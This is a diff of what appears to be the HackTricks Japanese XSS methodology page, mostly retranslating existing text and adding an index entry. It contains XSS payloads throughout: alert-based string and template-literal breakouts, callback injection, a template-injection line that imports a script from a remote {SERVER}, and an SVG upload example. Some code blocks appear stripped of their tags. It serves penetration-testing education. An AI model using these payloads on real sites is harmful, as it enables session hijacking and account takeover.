diff --git a/src/SUMMARY.md b/src/SUMMARY.md
index be4d4275a..4c7d77d24 100644
--- a/src/SUMMARY.md
+++ b/src/SUMMARY.md
@@ -725,6 +725,7 @@
- [SOME - Same Origin Method Execution](pentesting-web/xss-cross-site-scripting/some-same-origin-method-execution.md)
- [Sniff Leak](pentesting-web/xss-cross-site-scripting/sniff-leak.md)
- [Steal Info JS](pentesting-web/xss-cross-site-scripting/steal-info-js.md)
+ - [Wasm Linear Memory Template Overwrite Xss](pentesting-web/xss-cross-site-scripting/wasm-linear-memory-template-overwrite-xss.md)
- [XSS in Markdown](pentesting-web/xss-cross-site-scripting/xss-in-markdown.md)
- [XSSI (Cross-Site Script Inclusion)](pentesting-web/xssi-cross-site-script-inclusion.md)
- [XS-Search/XS-Leaks](pentesting-web/xs-search/README.md)
diff --git a/src/pentesting-web/xss-cross-site-scripting/README.md b/src/pentesting-web/xss-cross-site-scripting/README.md
index 9364e3ad2..8b38372cc 100644
--- a/src/pentesting-web/xss-cross-site-scripting/README.md
+++ b/src/pentesting-web/xss-cross-site-scripting/README.md
@@ -2,83 +2,83 @@
{{#include ../../banners/hacktricks-training.md}}
-## Methodology
+## 手順
-1. あなたが**制御できる任意の値**(_parameters_, _path_, _headers_?, _cookies_?)がHTMLに**反映**されているか、または**JSコードで使用**されているかを確認する。
-2. 反映/使用されている**コンテキストを特定**する。
-3. **reflected**の場合
-1. **どの記号が使えるか**を確認し、それに応じてペイロードを準備する:
-1. **raw HTML**の場合:
-1. 新しいHTMLタグを作成できるか?
-2. `javascript:`プロトコルをサポートするイベントや属性を使えるか?
-3. 保護策をバイパスできるか?
-4. HTMLコンテンツがクライアントサイドのJSエンジン(_AngularJS_, _VueJS_, _Mavo_...)で解釈されている場合、[**Client Side Template Injection**](../client-side-template-injection-csti.md)を悪用できる可能性がある。
-5. JSを実行するHTMLタグを作成できない場合、[**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)を悪用できないか?
-2. **HTMLタグ内**の場合:
-1. raw HTMLコンテキストに脱出できるか?
-2. JSを実行するための新しいイベント/属性を作成できるか?
-3. 捕らわれている属性はJS実行をサポートしているか?
-4. 保護策をバイパスできるか?
-3. **JavaScriptコード内**の場合:
-1. ``**タグ内、`.js`ファイル内、または**`javascript:`**プロトコルを使った属性内に反映されます:
+この場合、あなたの入力はHTMLページの**``**タグの間、`.js`ファイル内、または**`javascript:`**プロトコルを使用した属性内に反映されます:
-- If reflected between **``** tags, even if your input if inside any kind of quotes, you can try to inject `` and escape from this context. This works because the **ブラウザはまずHTMLタグを解析し**、その後コンテンツを処理するため、挿入した `` タグがHTMLコード内にあることに気づかないためです。
+- If reflected between **``** tags, even if your input if inside any kind of quotes, you can try to inject `` and escape from this context. This works because the **browser will first parse the HTML tags** and then the content, therefore, it won't notice that your injected `` tag is inside the HTML code.
- If reflected **inside a JS string** and the last trick isn't working you would need to **exit** the string, **execute** your code and **reconstruct** the JS code (if there is any error, it won't be executed:
- `'-alert(1)-'`
- `';-alert(1)//`
- `\';alert(1)//`
- If reflected inside template literals you can **embed JS expressions** using `${ ... }` syntax: `` var greetings = `Hello, ${alert(1)}` ``
-- **Unicode encode** は **valid javascript code** を書くために有効です:
+- **Unicode encode** works to write **valid javascript code**:
```javascript
alert(1)
alert(1)
@@ -86,8 +86,8 @@ alert(1)
```
#### Javascript Hoisting
-Javascript Hoisting は、**関数や変数、クラスを使用した後に宣言できる機会を指し、XSS が未宣言の変数や関数を使っているケースを悪用できます。**\
-**詳細は次のページを参照してください:**
+Javascript Hoisting は、**使用後に関数、変数、クラスを宣言できる機会を指し、XSS が未宣言の変数や関数を使用しているようなシナリオを悪用できます。**\
+**以下のページを参照してください:**
{{#ref}}
@@ -96,15 +96,15 @@ js-hoisting.md
### Javascript Function
-多くのウェブページには、**実行する関数名をパラメータとして受け取る** endpoint が存在します。一般的な例は `?callback=callbackFunc` のようなものです。
+いくつかのウェブページには、実行する関数名をパラメータとして**受け取る**エンドポイントがあります。実際によく見かける例は `?callback=callbackFunc` のようなものです。
-ユーザーから直接渡された値が実行されようとしているかを確かめる良い方法は、**パラメータの値を変更する**(例えば 'Vulnerable' に)ことと、コンソールに次のようなエラーが出るか確認することです:
+ユーザが直接渡した値が実行されようとしているかを確認する良い方法は、パラメータ値を**変更する**(例えば 'Vulnerable' に)ことと、コンソールで次のようなエラーを確認することです:
.png>)
-脆弱な場合は、値に **`?callback=alert(1)`** を送るだけで **alert をトリガーできる** ことがあります。しかし、この種の endpoint は一般的に内容を検証して、英数字、ドット、アンダースコアのみを許可する(**`[\w\._]`**)ことが多いです。
+脆弱な場合、値を送るだけで**alert を発生させる**ことができます:**`?callback=alert(1)`**。しかし、多くのエンドポイントは文字、数字、ドット、アンダースコアのみを許可するように**コンテンツを検証する**のが非常に一般的です(**`[\w\._]`**)。
-しかし、その制限があってもいくつかの操作は可能です。これは、有効な文字だけを使って DOM 内の任意の要素に**アクセスできる**ためです:
+しかし、その制限があってもいくつかの操作は可能です。これは、有効な文字を使ってDOM内の任意の要素に**アクセスできる**ためです:
.png>)
@@ -116,11 +116,11 @@ nextElementSibiling
lastElementSibiling
parentElement
```
-また、**Javascript functions** を直接**呼び出す**ことも試せます: `obj.sales.delOrders`.
+You can also try to **trigger Javascript functions** directly: `obj.sales.delOrders`.
-しかし通常、示された関数を実行するエンドポイントはあまり興味深いDOMを持たないことが多く、**other pages in the same origin** の方が、より多くの操作を行える**more interesting DOM**を持っていることがよくあります。
+しかし、通常、指定された関数を実行するエンドポイントはあまり興味深いDOMを持たないことが多く、**同一オリジン内の他のページ**はより多くの操作を行うのに**より興味深いDOM**を持っているでしょう。
-したがって、別のDOMでこの脆弱性を**abuse**するために、Same Origin Method Execution (SOME) のエクスプロイト手法が開発されました:
+したがって、この脆弱性を**別のDOMで悪用する**ために、Same Origin Method Execution (SOME) のエクスプロイトが開発されました:
{{#ref}}
@@ -129,7 +129,7 @@ some-same-origin-method-execution.md
### DOM
-**JS code** が **安全でない方法で** 攻撃者に制御されたデータ(例: `location.href`)を使用していることがあります。攻撃者はこれを悪用して任意の JS コードを実行できます。
+**JS code** が **攻撃者が制御するデータ**(例: `location.href`)を**安全でない方法で**使用していることがあります。攻撃者はこれを悪用して任意のJSコードを実行できます。
{{#ref}}
@@ -138,8 +138,8 @@ dom-xss.md
### **Universal XSS**
-この種のXSSは**anywhere**で見つかることがあります。これらは単にWebアプリケーションのクライアント側での悪用だけに依存するものではなく、**any** **context** に依存します。この種の **arbitrary JavaScript execution** は、**RCE** を得たり、クライアントやサーバー上の任意の **files** を **read** したりするために悪用されることさえあります。\
-いくつかの **examples**:
+この種の XSS は**どこにでも**見つかり得ます。これらは単にウェブアプリケーションのクライアント側の悪用に依存するものではなく、**あらゆる** **コンテキスト**に依存します。これらの**任意の JavaScript 実行**は**RCE** の取得や、クライアントおよびサーバの**任意の** **ファイル**の**読み取り**などにも悪用され得ます。\
+いくつかの**例**:
{{#ref}}
@@ -157,11 +157,11 @@ server-side-xss-dynamic-pdf.md
## Injecting inside raw HTML
-入力が**inside the HTML page** に反映される場合、またはこのコンテキストでエスケープを抜けてHTMLコードを注入できる場合、最初に行うべきことは `<` を悪用して新しいタグを作れるかどうかを確認することです。まずその**char** が反映されるか、**HTML encoded** されているか、削除されているか、あるいは**reflected without changes** かをチェックしてください。**最後の場合にのみこのケースを悪用できます**。\
-これらの場合、[**Client Side Template Injection**](../client-side-template-injection-csti.md) も**keep in mind**してください。\
-_**Note: A HTML comment can be closed using\*\***\***\*`-->`\*\***\***\*or \*\***`--!>`\*\***\***\*_
+入力が**HTMLページ内に反映される**場合、またはこのコンテキストでエスケープを回避してHTMLコードを注入できる場合、最初に行うべきことは新しいタグを作成するために`<`を悪用できるかどうかを確認することです。単純にその**文字**が**反映される**かを試し、それが**HTML encoded**されているか、**削除**されているか、あるいは**変更なしで反映**されているかを確認してください。**最後の場合にのみこのケースを悪用できます。**\
+このようなケースでは [**Client Side Template Injection**](../client-side-template-injection-csti.md) も念頭に置いてください。\
+_**注: HTML コメントは `-->` または `--!>` を使って閉じることができます**_
-In this case and if no black/whitelisting is used, you could use payloads like:
+この場合、ブラック/ホワイトリスティングが使用されていなければ、次のようなペイロードを使用できます:
```html
` タグ内、あるいはJSを実行するHTMLイベントや `javascript:` プロトコルを受け取る属性の間に反映されます。
+この場合、あなたの**input**は`.js`ファイルのJSコード内、または``タグの内部、JSを実行できるHTMLイベントの間、あるいは`javascript:`プロトコルを許容する属性の間に**反映**されます。
-### Escaping \` の内部に挿入される場合、`` を閉じることで簡単にエスケープできます:
+もしあなたのコードが``の中に挿入される場合、簡単に``を閉じることを**エスケープ**できます:
```javascript
```
-Note that in this example we **haven't even closed the single quote**. This is because **HTML parsing is performed first by the browser**, which involves identifying page elements, including blocks of script. The parsing of JavaScript to understand and execute the embedded scripts is only carried out afterward.
+注:この例では**シングルクォートすら閉じていない**ことに注意してください。これは**HTMLのパースがブラウザによって最初に行われる**ためで、ページ要素(scriptブロックを含む)の識別が行われます。埋め込まれたスクリプトを理解して実行するためのJavaScriptのパースは、その後で行われます。
-### JS コード内
+### JSコード内
-もし `<>` がサニタイズされている場合でも、入力が**配置されている**場所の文字列を**エスケープする**ことで、**任意のJSを実行する**ことができます。エラーがあるとJSコードは実行されないため、**JS構文を修正する**ことが重要です:
+`<>` がサニタイズされている場合でも、入力が**配置されている**文字列を**エスケープして**任意のJSを**実行する**ことが可能です。重要なのは**JSの構文を修正する**ことです。エラーがあると、JSコードは実行されません:
```
'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//
```
-#### JS-in-JS string break → inject → repair pattern
+#### JS-in-JS string break → inject → repair パターン
-ユーザ入力が quoted JavaScript string の中に入るとき(例: server-side echo into an inline script)、string を終了させて inject code し、syntax を修復して parsing を有効に保つことができます。汎用スケルトン:
+ユーザー入力が quoted JavaScript string の中に入る場合(例:server-side echo による inline script への挿入)、文字列を終了させてコードを inject し、構文を repair してパースが有効になるように維持できます。一般的なスケルトン:
```
" // end original string
; // safely terminate the statement
@@ -509,14 +508,14 @@ Note that in this example we **haven't even closed the single quote**. This is b
```
?param=test";;a="
```
-これはHTMLコンテキストに触れることなく攻撃者のJSを実行します(純粋なJS-in-JS)。フィルタがキーワードをブロックする場合は、下のblacklist bypassesと組み合わせてください。
+これは攻撃者のJSをHTMLコンテキストに触れることなく実行します(pure JS-in-JS)。フィルタがキーワードをブロックする場合は下記のブラックリスト回避と組み合わせてください。
-### Template literals ``
+### テンプレートリテラル \`\`
-単一引用符や二重引用符とは別に文字列を構築するため、JSは**backticks** **` `` `** も受け入れます。これはtemplate literalsとして知られており、`${ ... }`構文を使って**embedded JS expressions**を埋め込めます。\
-したがって、入力がbackticksを使ったJS文字列内に**reflected**されている場合、`${ ... }`構文を悪用して**arbitrary JS code**を実行できます:
+単一引用符や二重引用符とは別に**文字列**を構築するためにJSは**バッククオート(backticks)** **` `` `** も受け付けます。これはテンプレートリテラルと呼ばれ、`${ ... }`構文を使って**JS式を埋め込む**ことができます。\
+したがって、入力がバッククオートで囲まれたJS文字列として**反映**されている場合、`${ ... }`構文を悪用して**任意のJSコード**を実行できます:
-これは次のように**abused**できます:
+これを**悪用**するには:
```javascript
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
```
@@ -535,14 +534,14 @@ loop``
{{constructor.constructor("import('{SERVER}/script.js')")()}}
```
-### Regex - Access Hidden Content
+### Regex - 隠されたコンテンツにアクセス
-From [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) から、JS 上でいくつかの値が消えても、別のオブジェクトの JS 属性内でそれらを見つけられることがわかります。たとえば、REGEX の input は、その値が削除された後でも見つけることができます:
+From [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) から、いくつかの値が JS から消えても、別のオブジェクトの JS 属性内でそれらを見つけられることが分かります。例えば、REGEX の input は、REGEX の input の値が削除された後でも見つけられることがあります:
```javascript
// Do regex with flag
flag = "CTF{FLAG}"
@@ -1589,50 +1598,50 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
### XSS in Markdown
-レンダリングされるMarkdownコードを注入できますか? もしかするとXSSを引き起こせるかもしれません! 確認:
+Markdown コードを注入してレンダリングさせられますか?もしかすると XSS を引き起こせるかもしれません!確認してください:
{{#ref}}
xss-in-markdown.md
{{#endref}}
-### XSS to SSRF
+### XSS を SSRF に
-**キャッシュを使用しているサイト**でXSSを見つけましたか? Edge Side Include Injectionを使って、以下のpayloadで**それをSSRFにアップグレード**してみてください:
+キャッシュを使用する**サイトで XSS を得ましたか**?Edge Side Include Injection を使ってそれを **SSRF にアップグレード**してみてください。payload は次のとおり:
```python
```
-これを使って cookie 制限、XSS フィルタなどを回避できます!\
-More information about this technique here: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
+cookieの制限、XSSフィルタなどを回避するために使用できます!\
+この技術の詳細はこちら: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
-### 動的に作成された PDF における XSS
+### XSS in dynamic created PDF
-もしウェブページがユーザ制御の入力を使って PDF を生成している場合、PDF を作成している **trick the bot** を **executing arbitrary JS code** させるよう試みることができます。\
-つまり、もし **PDF creator bot finds** が何らかの **HTML** **tags** を見つけると、それらを **interpret** し、その振る舞いを **abuse** して **Server XSS** を引き起こすことができます。
+Webページがユーザ制御の入力でPDFを生成している場合、PDFを生成している**botを騙して**任意の**JSコードを実行させる**ことを試みることができます。\
+つまり、**PDF creator botが何らかの**HTML**タグを検出すると、それらを**解釈**し、この挙動を**悪用**して**Server XSS**を引き起こすことができます。
{{#ref}}
server-side-xss-dynamic-pdf.md
{{#endref}}
-もし HTML tags を注入できない場合は、**inject PDF data** を試す価値があるかもしれません:
+HTMLタグを注入できない場合は、**PDFデータを注入する**ことを試してみる価値があります:
{{#ref}}
pdf-injection.md
{{#endref}}
-### Amp4Email における XSS
+### XSS in Amp4Email
-AMP はモバイルデバイスでのウェブページの表示速度を向上させることを目的としており、機能性を JavaScript で補強した HTML タグを取り入れ、速度とセキュリティを重視しています。さまざまな機能のためのコンポーネントをサポートしており、[AMP components](https://amp.dev/documentation/components/?format=websites) から参照できます。
+AMPは、モバイル端末でのウェブページ表示の高速化を目的としており、速度とセキュリティを重視した形でJavaScriptで補助されたHTMLタグを取り入れています。さまざまな機能を提供するコンポーネントをサポートしており、[AMP components](https://amp.dev/documentation/components/?format=websites)で確認できます。
-The [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) フォーマットは特定の AMP コンポーネントをメールに拡張し、受信者がメール内で直接コンテンツと対話できるようにします。
+[**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/)形式は特定のAMPコンポーネントをメールに拡張し、受信者がメール内で直接コンテンツと対話できるようにします。
Example [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
-### XSS — ファイルアップロード (svg)
+### XSS uploading files (svg)
-Upload as an image a file like the following one (from [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
+次のようなファイルを画像としてアップロードしてください(出典: [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
```html
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
@@ -1688,9 +1697,10 @@ id="foo"/>
```xml